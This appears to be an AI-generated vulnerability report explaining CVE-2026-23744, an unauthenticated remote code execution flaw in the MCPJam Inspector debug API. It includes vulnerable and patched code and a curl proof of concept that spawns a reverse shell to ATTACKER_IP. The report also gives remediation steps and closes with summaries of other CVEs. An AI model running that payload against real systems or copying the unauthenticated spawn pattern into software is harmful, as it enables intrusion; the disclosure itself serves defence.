CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-23744

Jamming the Signal: Unauthenticated RCE in MCPJam Inspector

Alon Barad
Alon Barad
Software Engineer

Feb 17, 2026·5 min read·545 visits

Executive Summary (TL;DR)

MCPJam inspector versions <= 1.4.2 bind a debug interface to all network interfaces (0.0.0.0) by default. This interface exposes an endpoint (`/api/mcp/connect`) that accepts a command string and executes it via `child_process.spawn`. No authentication is required. This allows any attacker with network access to achieve immediate Remote Code Execution (RCE) as the user running the inspector.

Development tools are the soft underbelly of modern infrastructure. We harden our production servers, put WAFs in front of our apps, and rotate our keys, but we often leave the side door wide open on our local machines. MCPJam, a popular inspector for the Model Context Protocol (MCP), recently demonstrated exactly why this is a terrible idea. By binding a critical administrative interface to 0.0.0.0 without authentication, it allowed anyone on the network to execute arbitrary system commands. It's not a complex buffer overflow; it's a 'feature' that works too well for the wrong people.

The Hook: When Debugging Goes Wrong

The Model Context Protocol (MCP) is the new hotness for connecting Large Language Models (LLMs) to external data. It's complex, and where there is complexity, there are developers needing to debug it. Enter MCPJam Inspector, a nifty tool designed to sit between your LLM and your MCP server to visualize the traffic. It's the Wireshark of the AI agent world.

To do its job, the inspector needs to be able to start and stop MCP servers. It needs to spawn processes. In a local, isolated environment, this is fine. You trust yourself, right? But the problem arises when tools built for 'localhost' get deployed in Docker containers, cloud dev environments, or just on a laptop connected to open coffee shop Wi-Fi.

CVE-2026-23744 isn't a subtle memory corruption bug. It is a logic flaw born of convenience. The application exposes a REST API that literally says, 'Tell me what command to run, and I'll run it.' It’s the kind of vulnerability that makes exploit developers chuckle and sysadmins weep.

The Flaw: Binding to the World

The root cause is a classic 'off-by-default' security failure. In versions 1.4.2 and earlier, the MCPJam inspector binds its HTTP server to 0.0.0.0 on port 6274. For those uninitiated in the dark arts of networking, 0.0.0.0 means 'listen on every available network interface.'

Combine this promiscuous listening habit with the endpoint /api/mcp/connect. This endpoint was designed to let the frontend UI tell the backend, 'Hey, start this MCP server with these arguments.'

There is no authentication. No API key. No CSRF token. The backend code takes the JSON body—specifically the command, args, and env properties—and passes them straight into Node.js's child_process.spawn. It doesn't check if the command is an actual MCP server or netcat. It just executes. It is effectively a Remote Shell as a Service (RSaaS).

The Code: The Smoking Gun

Let's look at the Javascript that caused the panic. The vulnerable code handles the POST request by destructuring the user input and immediately using it to spawn a process. It trusts the client implicitly.

> [!NOTE] > The snippet below highlights the lack of validation in the vulnerable version.

// VULNERABLE CODE (Simplified)
app.post('/api/mcp/connect', (req, res) => {
  const { command, args, env } = req.body.serverConfig;
  
  // No Auth Check. No Input Sanitization.
  const subprocess = spawn(command, args, { env });
  
  // ... handle streams ...
});
 
// The server listens on all interfaces
app.listen(6274, '0.0.0.0');

The fix, introduced in version 1.4.3 (commit e6b9cf9), does two critical things. First, it forces the listener to 127.0.0.1. Second, it introduces a generated AUTH_TOKEN that must be present in the request headers.

// PATCHED CODE
const AUTH_TOKEN = crypto.randomBytes(32).toString('hex');
 
app.post('/api/mcp/connect', (req, res) => {
  const token = req.headers['x-mcp-token'];
  if (token !== AUTH_TOKEN) {
    return res.status(403).send('Unauthorized');
  }
  // ... safe to spawn now ...
});
 
// Restricted to localhost
app.listen(6274, '127.0.0.1');

The Exploit: One Request to Rule Them All

Exploiting this requires zero sophistication. You don't need to bypass ASLR or construct a ROP chain. You just need curl. If you can reach port 6274, you own the box.

The attack flow is linear and devastating:

Here is a functional Proof of Concept. We simply tell the inspector that our 'MCP Server' is actually the system shell, and the arguments are the commands we want to run.

curl -X POST http://TARGET_IP:6274/api/mcp/connect \
     -H "Content-Type: application/json" \
     -d '{
       "serverConfig": {
         "command": "/bin/sh",
         "args": ["-c", "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"],
         "env": {}
       },
       "serverId": "pwned"
     }'

Because the child_process.spawn function in Node.js handles the execution, standard shell redirection works if you invoke a shell binary directly. The process runs with the same privileges as the user running the MCPJam inspector—which, in developer environments, is often root (inside Docker) or the main user with sudo access.

The Impact: Why Panic?

This vulnerability scores a 9.8 Critical for a reason. In modern development workflows, tools like MCPJam are often running in the background while developers work on sensitive codebases.

Scenario 1: The Coffee Shop Attack A developer is working at a cafe. Their laptop firewall is lax. An attacker on the same Wi-Fi scans for port 6274, finds it open, and silently installs a persistent backdoor or steals SSH keys.

Scenario 2: The CI/CD Compromise MCPJam is used in a testing pipeline. An attacker who has compromised a low-value container in the same Kubernetes cluster can pivot to the CI runner via this API, stealing cloud credentials (AWS_ACCESS_KEY_ID, etc.) often exposed in environment variables.

This isn't just about crashing the app; it's about full compromise of the developer's workstation or the build environment.

The Fix: Closing the Window

The mitigation is straightforward: Update immediately.

Remediation Steps:

  1. Upgrade: Update mcpjam-inspector to version 1.4.3 or higher.
  2. Verify: Ensure the process is listening only on 127.0.0.1 using netstat -an | grep 6274.
  3. Firewall: If you must run this on a remote server, do not rely on the application's built-in security. Place it behind a reverse proxy (like Nginx) with Basic Auth, or use an SSH tunnel to access it locally.

Developers, learn this lesson: Convenience is the enemy of security. If your tool executes commands, it needs authentication. Period.

Official Patches

MCPJamOfficial patch commit

Fix Analysis (1)

Technical Appendix

CVSS Score
9.8/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
EPSS Probability
13.08%
Top 6% most exploited
1,500
via Shodan

Affected Systems

MCPJam Inspector <= 1.4.2DevSecOps Pipelines running vulnerable inspectorDeveloper Workstations

Affected Versions Detail

Product
Affected Versions
Fixed Version
MCPJam Inspector
MCPJam
<= 1.4.21.4.3
AttributeDetail
CWE IDCWE-306 (Missing Authentication)
Attack VectorNetwork (AV:N)
CVSS Score9.8 (Critical)
EPSS Score0.13076 (93.93%)
Exploit StatusProof of Concept (PoC) Available
ImpactRemote Code Execution (RCE)

MITRE ATT&CK Mapping

T1190Exploit Public-Facing Application
Initial Access
T1059.003Command and Scripting Interpreter: Windows Command Shell
Execution
T1059.004Command and Scripting Interpreter: Unix Shell
Execution
CWE-306
Missing Authentication for Critical Function

The software does not perform any checks for authentication for functionality that requires a verifiable user identity or consumes a significant amount of resources.

Known Exploits & Detection

GitHubPython script to automate reverse shell injection
NucleiDetection Template Available

Vulnerability Timeline

Vendor pushes fix commit (e6b9cf9)
2026-01-09
CVE-2026-23744 assigned and disclosed
2026-01-16
Public PoC released on GitHub
2026-01-20

References & Sources

  • [1]GitHub Advisory
  • [2]NVD Entry

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 13 hours ago•CVE-2026-14669
8.8

CVE-2026-14669: PostgreSQL to_char() Timezone Abbreviation Heap-Based Buffer Overflow

CVE-2026-14669 is a critical heap-based buffer overflow vulnerability in PostgreSQL's date/time formatting function to_char(timestamptz). The flaw arises from unsafe copying of user-controlled timezone abbreviations into a fixed-size internal buffer. An authenticated database user can trigger this issue by setting a long POSIX timezone abbreviation containing custom formatting, allowing them to overwrite adjacent heap structures and hijack execution control to achieve remote code execution (RCE) with the privileges of the 'postgres' operating system user.

Alon Barad
Alon Barad
10 views•6 min read
•2 days ago•CVE-2026-63462
7.5

CVE-2026-63462: Unauthenticated Stack Overflow Denial of Service in Unleash Server

An unauthenticated remote denial of service vulnerability exists in the Unleash feature management platform. By submitting a crafted JSON payload containing deeply nested structures to an OpenAPI-validated endpoint, an attacker can trigger uncontrolled recursion within the error formatting module. This leads to a call-stack exhaustion (RangeError: Maximum call stack size exceeded) inside the Node.js runtime, causing the service to crash immediately without recovery.

Alon Barad
Alon Barad
11 views•6 min read
•2 days ago•CVE-2026-63004
5.5

CVE-2026-63004: Server-Side Request Forgery in Unleash Addon and Integration Subsystem

CVE-2026-63004 is a server-side request forgery (SSRF) vulnerability in the Unleash feature management platform. Authenticated administrators with CREATE_ADDON or UPDATE_ADDON privileges can exploit this vulnerability to initiate requests to loopback addresses, private networks, and cloud metadata endpoints, potentially leading to information disclosure and credential extraction.

Amit Schendel
Amit Schendel
9 views•8 min read
•2 days ago•CVE-2026-63466
4.1

CVE-2026-63466: Process-Wide Security Degradation via Global Module Mutation in Unleash

Prior to version 8.0.3, Unleash's Markdown event formatter directly mutated the global template-escaping function of the shared mustache Node.js module, resulting in a process-wide security degradation where HTML/Markdown escaping was permanently disabled for the application lifetime.

Alon Barad
Alon Barad
3 views•6 min read
•2 days ago•CVE-2026-76904
9.8

CVE-2026-76904: Unauthenticated SQL Injection in GeoTools PostGIS DataStore Component

A critical SQL injection vulnerability exists in the GeoTools open-source Java library. This vulnerability is situated within the post-processing phase of OGC Filter conversion inside the PostGIS DataStore module. Specifically, the `jsonArrayContains` function does not validate or sanitize its arguments before constructing PostgreSQL SQL/JSON path evaluation queries. An unauthenticated remote attacker can exploit this weakness by submitting crafted filters via standard OGC services like WFS or WMS to execute arbitrary SQL commands on the underlying database system.

Alon Barad
Alon Barad
16 views•5 min read
•2 days ago•CVE-2026-61824
8.2

CVE-2026-61824: High-Severity Cross-Site Scripting (XSS) via Unsanitized Site Extractors in Defuddle

CVE-2026-61824 is a high-severity Cross-Site Scripting (XSS) vulnerability in kepano/defuddle before version 0.19.1. Custom site extractors for platforms such as X/Twitter, Substack, and YouTube constructed HTML representations via template string interpolation without output escaping. This allowed malicious pages to bypass standard parser sanitization routines and execute arbitrary JavaScript.

Amit Schendel
Amit Schendel
8 views•7 min read